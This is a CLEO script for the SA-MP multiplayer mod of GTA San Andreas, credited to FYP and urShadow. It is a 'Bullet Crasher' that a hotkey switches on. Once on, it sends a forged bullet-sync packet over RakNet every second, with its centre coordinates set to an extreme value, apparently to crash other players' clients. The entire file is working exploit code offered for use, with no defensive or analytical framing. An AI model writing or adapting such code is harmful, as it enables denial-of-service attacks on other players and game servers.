{$CLEO}
{$INCLUDE SF}
       
thread "BulletZOMFGCrasher"
0662: "Made by FYP and urShadow"
0662: "BlastHack.Net"
       
const
STATE = 0@
BUFFER = 1@
TIMER = 4@
       
KEYCOMB_1 = 66
KEYCOMB_2 = 67
       
DELAYVALUE = 1000 // ms
CRASHVALUE = 2004318080.0
       
sizeof_stBulletData = 39
end
       
STATE = 0
TIMER = 0
       
while not SAMP.Available()
       wait 1337
end
       
alloc BUFFER sizeof_stBulletData
       
while true
         
       wait 0
       if player.Defined(0)
       jf continue
       if and
           key_down KEYCOMB_1
           key_down KEYCOMB_2
       then
           0B12: STATE = STATE XOR 1
           if STATE == 1
           then print "~w~ZOMFG Bullet Crasher ~g~activated!~n~~w~urShadow~n~FYP~n~Сайт.Net" 1337
           else print "~w~ZOMFG Bullet Crasher ~r~deactivated!~n~~w~urShadow~n~FYP~n~Сайт.Net" 1337
           end
           while true
               wait 100
               if and
                   key_down KEYCOMB_1
                   key_down KEYCOMB_2
               jf break
           end
       end
         
       if STATE == 1
       then
           0A8D: 5@ = read_memory 0xB7CB84 size 4 virtual_protect 0 // global game timer
           0A8F: 6@ = 5@ - TIMER // int
           if 6@ > DELAYVALUE
           then
               gosub @bulletfreez
               0085: TIMER = 5@ // (int)
           end
       end
end
       
       
:bulletfreez
0C11: memset destination BUFFER value 0 size sizeof_stBulletData
0C0D: struct BUFFER offset 0 size 1 = 1// byteType
0B2B: samp 2@ = get_player_id_by_actor_handle $player_actor
0C0D: struct BUFFER offset 1 size 2 = 2@ // sTargetID
0C0D: struct BUFFER offset 27 size 4 = CRASHVALUE // fCenter
0C0D: struct BUFFER offset 31 size 4 = CRASHVALUE // fCenter
0C0D: struct BUFFER offset 35 size 4 = CRASHVALUE // fCenter
call @SendBulletData 1 BUFFER
return
       
:SendBulletData // 0@ = buffer
1@ = RakNet.NewBitStream()
RakNet.Write(1@, PACKET_BULLET_SYNC, BS_TYPE_BYTE, 0)
RakNet.Write(1@, 0@, BS_TYPE_ARRAY, sizeof_stBulletData)
RakNet.Send(1@, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0)
ret 0